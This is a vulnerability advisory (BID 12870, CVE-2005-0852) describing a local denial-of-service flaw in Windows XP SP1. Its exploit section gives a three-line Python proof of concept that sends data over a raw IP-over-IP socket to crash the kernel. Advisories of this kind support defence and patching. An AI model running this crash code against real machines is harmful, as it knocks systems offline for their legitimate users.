Microsoft Windows Local Denial Of Service Vulnerability

BID:12870

Info

Microsoft Windows Local Denial Of Service Vulnerability

Bugtraq ID: 12870
Class: Failure to Handle Exceptional Conditions
CVE: CVE-2005-0852
Remote: No
Local: Yes
Published: Mar 22 2005 12:00AM
Updated: Jul 12 2009 10:56AM
Credit: Discovery of this issue is credited to <[email protected]>.
Vulnerable: Microsoft Windows XP Tablet PC Edition SP1
Microsoft Windows XP Professional SP1
Microsoft Windows XP Media Center Edition SP1
Microsoft Windows XP Home SP1
Not Vulnerable:

Discussion

Microsoft Windows Local Denial Of Service Vulnerability

It is reported that Microsoft Windows XP Service Pack 1 is prone to a local denial of service vulnerability.

The issue is reported to manifest when a raw IP over IP socket is created and data is transferred over the newly created socket.

It is reported that this operation causes the kernel of the Windows computer to crash, resulting in the computer rebooting. If this issue can be triggered reliably, a local attacker may exploit the issue to deny service for legitimate users.

Further investigation into this issue is ongoing; this BID will be updated as soon as more details are available.

Exploit / POC

Microsoft Windows Local Denial Of Service Vulnerability

The following exploit is available:

import socket
s=socket.socket(socket.AF_INET,socket.SOCK_RAW,4)
s.sendto("",("x.x.x.x",0))

Press ENTER and your win box should crash immediately.

Solution / Fix

Microsoft Windows Local Denial Of Service Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

References

Microsoft Windows Local Denial Of Service Vulnerability

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